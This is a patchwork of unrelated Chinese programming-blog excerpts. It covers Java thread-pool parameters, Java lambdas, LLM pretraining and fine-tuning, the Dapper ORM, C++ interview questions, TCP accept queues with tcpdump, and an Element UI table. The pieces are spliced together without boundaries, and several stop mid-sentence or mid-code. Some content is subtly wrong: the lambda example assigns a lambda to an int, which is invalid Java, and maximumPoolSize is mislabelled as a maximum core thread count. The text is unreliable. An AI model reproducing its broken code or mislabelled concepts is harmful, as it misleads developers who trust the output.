corePoolSize && maximumPoolSize corePoolSize:即核心线程数
maximumPoolSize:最大核心线程数
线程池可以支持“线程扩容”,若某个线程池初始状态下有m个线程,但m若不够用,就会自动增加m的个数。
在java标准库的线程池中,把线程分为两类:核心线程和非核心线程。
核心线程可以理解为最少有多少个线程,而非核心线程就是线程扩容新增的线程。
核心线程数会始终存在线程池内部,而非核心线程,在繁忙的时候就会被创建出来,在空闲时就会把这些线程释放掉。
最大核心线程数=核心线程数+非核心线程数的最大值
keepAliveTime && unit 那么非核心线程在空闲的时候就会被立即释放掉吗?
若在空闲一会后,又有新的任务,那岂不是要重新新增线程。
所以在构造方法中,给我们提供了两个参数,用来设置非核心线程在空闲时等待任务的最长时间。
keepAliveTime:表示线程池中空闲的非核心线程在终止前等待新任务的最长时间。
unit:用来设置keepAliveTime参数的时间单位。
workQueue 我们可以看到workQueue的类型为BlockingQueue<Runnable>,说明这是个用来存放任务的阻塞队列。可以根据需要设置阻塞队列的类型,如果需要优先级,则可以使用PriorityBlockingQueue;如果不需要优先级且任务的数目是恒定的,则可以使用ArrayBlockingQueue;如果任务的数目不是恒定的,则可以使用LinkedBlockingQueue。
作用:
任务缓存:当线程池中的线程都在执行任务时,新提交的任务会被暂时存储在工作队列中,直到有空闲线程来执行它们。任务调度:工作队列可以帮助线程池按照一定的策略来调度任务的执行顺序。资源管理:通过限制工作队列的大小,可以控制线程池中等待执行的任务数量,从而避免资源耗尽的情况。 threadFactory threadFactory:创建线程的⼯⼚,参与具体的创建线程⼯作.
引言 在这个技术日新月异的时代,编程语言不断进化以适应日益复杂的软件开发需求。其中,Lambda表达式作为一门现代编程语言的重要特性,已经成为了提升代码效率与可读性的关键工具。无论你是刚刚踏入编程领域的新手,还是已经在软件开发行业摸爬滚打多年的资深程序员,掌握Lambda表达式都将为你的技能树添上浓墨重彩的一笔。
基础语法介绍 Lambda表达式是一种简洁、灵活的匿名函数定义方式。它允许我们无需显式地声明函数即可定义一个函数体,并且可以像普通变量一样传递给其他函数或存储在变量中。Lambda表达式通常用于简化代码,使程序更加紧凑高效。
核心概念 参数列表:位于Lambda表达式的最前面,用于指定函数的输入参数。箭头操作符:将参数列表与函数主体分隔开。函数主体:执行的具体操作或返回值。 基本语法规则 在Java中,Lambda表达式的通用形式如下:
(parameters) -> expression 或者
(parameters) -> { statements; } 其中,parameters表示参数列表,expression表示单条表达式,statements表示多条语句组成的函数体。
基础实例 让我们通过一个简单的例子来感受一下Lambda表达式的魅力。假设我们需要定义一个函数,该函数接受两个整数作为参数,并返回它们的和。
传统写法 public int add(int a, int b) { return a + b; } Lambda表达式写法 int sum = (a, b) -> a + b; 可以看到,使用Lambda表达式可以极大地减少代码量,让我们的程序看起来更加简洁明了。
进阶实例 Lambda表达式的强大之处不仅仅在于其简洁性,更在于它能够轻松应对各种复杂的场景。接下来,我们将探讨一些Lambda表达式在实际开发中的高级应用。
示例:按条件筛选数组元素 假设有一个整型数组,我们需要从中筛选出所有大于10的元素。
传统写法 List<Integer> numbers = Arrays.asList(1, 2, 11, 12, 13); List<Integer> filteredNumbers = new ArrayList<>(); for (Integer number : numbers) { if (number > 10) { filteredNumbers.
大模型是怎么被训练出来的具有人类智慧的 阶段一训练-自我学习-具备知识训练资料self-supervised learning(自督导式学习) 阶段二-怎么让模型具备人的智慧supervised learning 督导式学习预训练pretrain为什么要用预训练的模型?Adapter逆向工程开源的Pre-train参数 参考 一个语言模型是怎么训练出来的呢?它是怎么具备人类智慧的呢? 它被训练的过程中到底有些什么困难? 阶段一训练-自我学习-具备知识 我们之前就已经讲过,实际上我们要做的就是寻找一个函数,来实现一个文字接龙的功能:
它的做法,它会寻找要给函数:
输入:中国最高的山是,输出:珠输入:中国最高的山是珠,输出:穆…输入:中国最高的山是朗玛峰,输出:结束符 现在我们知道要实现这个功能我们使用的是一个类神经网络,这个网络有上亿个参数,来实现这样的功能。这上亿个参数是怎么得到的呢,就是通过大量的资料学习到的,就像是人的大脑一样,很难解释每个神经元是怎么作用的,但他们确实可以和谐办公。接下来的要给问题就是到底需要多少的资料才能学会人类的语言呢,又是怎么获取这些资料的呢?
训练资料 要让一个语言模型学会对话,必须具备文法知识以及世界知识,学会文法知识才会知道,“这是一个”这样的表达后面跟的是个名词,而仅仅只有文法知识,还是不够的,所以还需要知道一些世界知识,比如体重的衡量是用公斤数,温度使用摄氏度,不同压力下水的沸点不一样等等。
这篇论文里面可以看得出来,知道文法知识1亿个参数足够了,但是了解世界知识至少需要300亿个以上,那这么多的资料是怎么喂给大模型的呢
self-supervised learning(自督导式学习) 实际上资料的获取并不复杂,因为网络上的资料足够了,但是怎么喂给大模型呢。通常情况下,我们需要的资料是这样的:
输入:今天天气很好 输出:情感正面
也就是说这些数据是带有标签的,但是现在这么多数据我们是无法进行人工标注的。所以今天我们用的技术就是self-supervised learning(自督导式学习)。我们使用网络上爬到的资料,不需要人工标注,处理成如下格式:
比如我们搜到的是中国最高的山是珠穆朗玛峰,我们可以简单的写一个函数,把这个句子处理成:
输入:中国最高的山是,输出:珠输入:中国最高的山是珠,输出:穆…输入:中国最高的山是朗玛峰,输出:结束符 这种不需要人工标注的方式,我们就称为自督导式学习。
阶段二-怎么让模型具备人的智慧 学习了那么多资料,真的就可以有很好的答案了么?
答案是否定的。在GPT-3学习了580G的资料,参数有1750亿,但是答案依然是很难尽如人意,你问它一个问题,它甚至有可能会反问你一个问题,完全没有人类的智慧,跟现在的GPT-4是完全没法比。
其实我们想想也可以知道,从网络上爬来的资料,本身就没有告诉模型,怎么样的回答才是符合人类回复的。
supervised learning 督导式学习 为了让模型具备人类回答的智慧,必须要收集人类对话,进行资料标注,来教会模型该怎么回答。
这种人类标注的训练方法,我们就叫做督导式学习,这个过程就叫做Instructing Fine-tuning
比如从人类收集到的资料:
对于模型来说的输入输出就是:
那你可以说,我们完全使用人力标注的资料那不是更好么?答案确实是,但是人力能够标注的资料有限的,有限的资料训练出来的参数结果可能就会很奇怪。比如你问模型,中国最高的山是什么? 它很有可能告诉你是:姚明。为什么会出现这样奇怪的答案呢?很有可能是因为资料太少,它只看过这样一个资料。篮球队里最高的人是姚明。
预训练pretrain 那我们有没有更好的方式既能有大量的知识,又能够接受人类的智慧呢?
那就是pretrain,我们使用第一阶段自督导式学习得到的参数,在这个基础上再使用人类标注的数据进行督导式学习,对参数进行微调。
为什么要用预训练的模型? 因为经过预训练的模型具备很强的能力,它甚至能够达到举一反三的效果:
BERT模型上,如果它看过104种语言的资料,如果我们只用英文做Fine-tune,模型竟然可以做中文的QA,正确率可以达到78.7!!
但还是有一个问题,参数这么多微调一次也很费时间,另外微调过程种参数不会被修改太多,导致失去这些已经学会的知识了呢?Adapter技术就是来解决这个问题的。
Adapter Adapter,就是字面的意思,我在原模型的基础上,我还要再加上一个适配器,适配器的参数比原来的参数要少很多,微调的过程就会变的很快,且不会影响原来的参数。整个模型的输出就是在原来模型参数的基础上,又加上了少量Adapter的参数
LoRA就是一种Adapter技术,Adapter其实包括了很多种可以在https://arxiv.org/abs/2210.06175上找到很多种实现
LLAMA在它的论文中,曾指出自己只需要2万多笔资料,就可以训练好一个模型了,但是还有一个问题,有了它就能训练好一个大模型了么?
答案是不能。因为我们依然还是需要优质的微调资料。
逆向工程 显然不是随便标注就可以得到这些微调需要的优质资料,因为我们不知道用户会怎么问问题,那么怎么获取这部分数据呢?现在有种方法就叫做逆向工程,反问GPT,让他帮忙想问题,想答案,用反向生成出来的内容来微调模型。当GPT是不太喜欢这样的。
有了微调的资料,那参数也是很大的训练成本呀,别着急,有开源的参数
开源的Pre-train参数 Meta 23年开源了LLaMA的参数,我们可以用它来初始化自己的模型。由这个开源的参数,迅速衍生出了一系列的模型,可以说事半功倍
参考 李宏毅-生成式人工智能导论
本文详细介绍了Dapper在C#中的使用方法,包括Dapper的基本概念、与其他持久层框架的比较、基本语法和高级语法的使用,并通过实例讲解了如何在项目中集成和使用Dapper。Dapper以其高效的性能和简洁的API受到开发者的青睐,适用于各种数据库操作需求。本文还将深入探讨Dapper的核心原理,通过内部代码展示其工作机制。最后,总结了Dapper的优缺点及其在实际开发中的应用场景,为开发者提供全面的指导。
一、Dapper介绍 1. Dapper介绍 Dapper是一个轻量级的ORM(对象关系映射)框架,专为.NET设计。它通过扩展IDbConnection接口,使开发者能够方便地执行SQL查询,并将查询结果映射到对象模型中。
2. Dapper原理解析 Dapper的核心原理是通过扩展方法来简化数据访问过程。它的主要工作流程如下:
建立数据库连接:使用ADO.NET的IDbConnection接口建立数据库连接。执行SQL查询:通过Dapper提供的扩展方法(如Query、Execute等)执行SQL查询。映射结果集:将查询结果集映射到C#对象模型中,简化数据处理。 Dapper的性能优势主要来源于以下几个方面:
轻量级:Dapper没有复杂的上下文管理和变化跟踪机制,减少了性能开销。直接执行SQL:Dapper直接执行原生SQL查询,避免了复杂的查询生成过程。缓存查询计划:Dapper会缓存查询计划,减少SQL解析和执行的开销。 3. Dapper和其他操作数据库的框架比较 为了更清晰地展示Dapper与其他数据库操作框架的比较,以下通过表格进行说明:
特性DapperEntity FrameworkNHibernateADO.NET性能高中等中等高易用性高高中等低映射能力基本映射丰富丰富无学习曲线低中等高低事务支持支持支持支持支持LINQ支持不支持支持支持不支持配置灵活性高中等高高 二、Dapper的基本语法 Dapper提供了多种方法来简化数据库操作。以下是一些常用的基本语法及其示例代码:
1. 查询数据 Dapper使用Query方法执行SQL查询并返回结果集。
using (IDbConnection db = new SqlConnection(connectionString)) { string sql = "SELECT * FROM Students"; var students = db.Query<Student>(sql).ToList(); } 2. 插入数据 Dapper使用Execute方法执行插入操作。
using (IDbConnection db = new SqlConnection(connectionString)) { string sql = "INSERT INTO Students (Name, Age) VALUES (@Name, @Age)"; var result = db.Execute(sql, new { Name = "
前述:本文初衷是为了总结本人在各大平台看到的C++面经,我会在本文持续更新我所遇到的一些C++面试问题,如有错误请一定指正我。新建立了一个收集问答的仓库,欢迎各位小伙伴来更新鸭interview_experience: 本仓库初衷是想为大家提供一个便利,全面,准确的面试题学习场地,大家都可以对仓库进行更新,谢谢大家。。 目录
1.讲一讲封装、继承、多态是什么?
2.多态的实现原理(实现方式)是什么?以及多态的优点(特点)?
3.final标识符的作用是什么?
4.虚函数是怎么实现的?它存放在哪里在内存的哪个区?什么时候生成的
5.智能指针的本质是什么,它们的实现原理是什么?
6.匿名函数的本质是什么?他的优点是什么?
7.右值引用是什么,为什么要引入右值引用?
8.左值引用和指针的区别?
9.指针是什么?
10.weak_ptr真的不计数?是否有计数方式,在哪分配的空间。
11.malloc的内存分配的方式,有什么缺点?
11.1为什么不全部使用mmap来分配内存?
11.2为什么不全部都用brk
12.传入一个指针,它如何确定具体要清理多少空间呢?
13.define和const的区别是什么?
14.程序运行的步骤是什么
15.锁的底层原理是什么?
16.原子操作是什么?
17.class与struct的区别
18.内存对齐是什么?为什么要进行内存对齐?内存对齐有什么好处?
19.进程之间的通信方式有哪些?
20.线程之间的通信方式有哪些?
21.介绍一下socket中的多路复用,及其他们的优缺点,epoll的水平和边缘触发模式
24.类的生命周期
25.父类的构造函数和析构函数是否能为虚函数?这样操作导致的结果?
26.多线程为什么会发生死锁,死锁是什么?死锁产生的条件,如何解决死锁?
27.描述一下面向过程和面向对象
28.C++中左值和右值是什么?++i是左值还是右值,++i和i++哪个效率更高?
29.介绍一下vector、list的底层实现原理和优缺点
30.静态变量在哪里初始化?在哪一个阶段初始化?(都存放在全局区域)
31.如何实现多进程?
32.空对象指针为什么能调用函数?
33.shared_ptr线程安全吗?
34.push_back()左值和右值的区别是什么?
35.move底层是怎么实现的?
36.完美转发的原理是什么?
37.空类中有什么函数?
38.explicit用在哪里?有什么作用?
39.成员变量初始化的顺序是什么?
40.指针占用的大小是多少?
41.野指针和内存泄漏是什么?如何避免?
42.malloc和new的区别是什么?
43.多线程会发生什么问题?线程同步有哪些手段?
44.什么是STL?
45.对比迭代器和指针的区别
46.线程有哪些状态,线程锁有哪些?
47.解释说明一下map和unordered_map
48.vector中的push_back()和emplace_back()的区别、以及使用场景
49.如何实现线程安全,除了加锁还有没有其他的方式?
50.vector扩容,resize和reserve的区别
51.vector扩容为了避免重复扩容做了哪些机制?
52.C++中空类的大小是多少?
53.weak_ptr是怎么实现的?
54.虚函数的底层原理是什么?
55.一个函数f(int a,int b),其中a和b的地址关系是什么?
56.移动构造和拷贝构造的区别是什么?
57.lamda表达式捕获列表捕获的方式有哪些?如果是引用捕获要注意什么?
58.哈希碰撞的处理方法
59.unordered_map的扩容过程
60.vector如何判断应该扩容?(size和capacity)
61.构造函数是否能声明为虚函数?为什么?什么情况下为错误?
62.类中static函数是否能声明为虚函数?
63.哪些函数不能被声明为虚函数?
64.如何保证类的对象只能被开辟在堆上?(将构造函数声明为私有、单例)
TCP全队列连接,tcpdum抓包 1. listen的第二个参数作用2. 理解全连接队列(原理)3. 为什么要有全连接队列并且队列长度要适当4. 使用不tcpdump 进行抓包,分析TCP过程(三次握手,四次挥手)4.1安装tcpdump4.2常见使用4.3测试 1. listen的第二个参数作用 准备工作
我们把这个测试tcp实验的代码中的server端中的accept关闭,也就说现在服务器只是做listen监听工作。并且把listen中的的第二个参数设置为1。观察现象。
当我们启动两台客户端的时候,使用netstat -natp查看是没有什么问题的。
但是当我们增加客户端的时候,就出现问题了
除了刚开始的两个连接时处于Established状态下(也就是三次握手成功了),后面的两个客户端的状态却是处于SYN_SENT状态(也就是三次握手没有成功)
所以上面的实验也验证了,建立连接的过程和用户是否accept无关。也就是说在服务器来不及进行accept的时候,底层TCP listen sock允许用户进行三次握手,并构建连接。但是构建成功连接的数量是有限的。而这个数量就是listen中的第二个参数backlog + 1
2. 理解全连接队列(原理) 服务器在一定事件内肯定会同时受到众多的客户端发起的请求,这些请求可能是申请建立新连接,也可能是申请发数据。大那是不管是什么申请,终究可以归咎到申请一个连接。那么这么多的连接,服务器要不要进行管理,操作系统要不要进行管理呢?答案是肯定的,也就说操作系统要对连接进行管理,说到管理我们就要想起之前提到的六字真言"先描述,再组织",所以说其实操作系统底层是使用数据结构来管理好一个一个的结构化的连接的。而这个数据结构就是全连接队列。 但是这并不是说服务器只能处理backlog + 1个连接,而是再accept忙不过来去对列中拿走连接时,全连接队列所能装下的连接个数。所以其实我们也不难发现,这其实是一个生产者消费者模型。 3. 为什么要有全连接队列并且队列长度要适当 这个全连接对队列其实类似于缓冲区的样子,既然是服务器那么必然在某个时间段是服务高峰期,同时也有服务低峰期。如果是在高峰期的话,假设全连接队列为空了,也就是说来了一个连接直接对接引用层让服务器直接处理,但是啊服务器的处理能里是有限的啊,如果同时来了多个请求连接那么必然会有很多的请求连接被拒绝了,这非常降低用户的体验感,并且势必会造成同一个服务器会发起多次请求,也间接的导致加重了服务器的处理工作量,降低服务器的处理效率。那么是不是将全连接队列的空间设置的很大呢?这样的话,就算有很多的连接到来了,也可直接添加到全连接队列中了,这样不久解决了服务器拒绝用户请求的问题吗?看似解决了,但是归根结底服务器的处理能力是有限的,服务器也是从全连接队列中取出数据,如果队列太大了,也就说明用户排队人数就变多了,那么就势必会有用户排在很后面,也就是该用户可能要等待很长一段事件才能进行业务处理。那么这样也有问题,设想一下,如果你在请求一个连接时他就一直转圈圈不给你处理请求你会怎么想,如果是耐心好的可能会等一会,要是没有耐心的是不是直接退出找其他的服务器申请了啊。所以如果队列太长了的话,可能排再更后后面的用户会直接退出,也就将全连接队列开辟好的空间闲置下来的,这不就是一种浪费内核内存资源吗!所以综合上述来讲,为什么要有全队列连接呢:主要是讲全连接队列当作一个缓冲区,在服务器处理不过来过多连接时进行一定的缓存,减少服务器的闲置率,提高用户的体验感。同时开辟的队列大小要适中,减少不必要的内核空间浪费。 4. 使用不tcpdump 进行抓包,分析TCP过程(三次握手,四次挥手) 4.1安装tcpdump tcpdump 通常已经预装在大多数 Linux 发行版中。如果没有安装,可以使用包管理器进行安装。例如 Ubuntu,可以使用以下命令安装:
Bash sudo apt-get update sudo apt-get install tcpdump 在 Red Hat 或 CentOS 系统中,可以使用以下命令:
Bash sudo yum install tcpdump 4.2常见使用 捕获所有网络接口上的TCP报文 Bash $ sudo tcpdump -i any tcp 注意:-i any 指定捕获所有网络接口上的数据包,tcp 指定捕获 TCP 协议的数据包。i 可以理解成为 interface 的意思
不难发现,需要多级表头的列只需要在外面包一层el-table-column起名字即可
<el-table :data="tableData" style="width: 100%"> <el-table-column type="index" label="序号" width="100" align="center" /> <el-table-column prop="orgName" label="热企名称" width="150" align="center" /> <el-table-column prop="" label="总分" width="150" align="center" /> <el-table-column label="经营许可" align="center"> <el-table-column prop="operationPermit" label="经营许可" width="150" align="center" /> </el-table-column> <el-table-column label="热源能力" align="center"> <el-table-column prop="heatSourceAbility1" label="具备备用热源" width="150" align="center" /> <el-table-column prop="heatSourceAbility2" label="热源热量满足需求" width="150" align="center" /> </el-table-column> <el-table-column label="经营场所" align="center"> <el-table-column prop="operationPlace1" label="固定经营场所" width="150" align="center" /> <el-table-column prop="operationPlace2" label="服务标准齐全" width="150" align="center" /> </el-table-column> </el-table>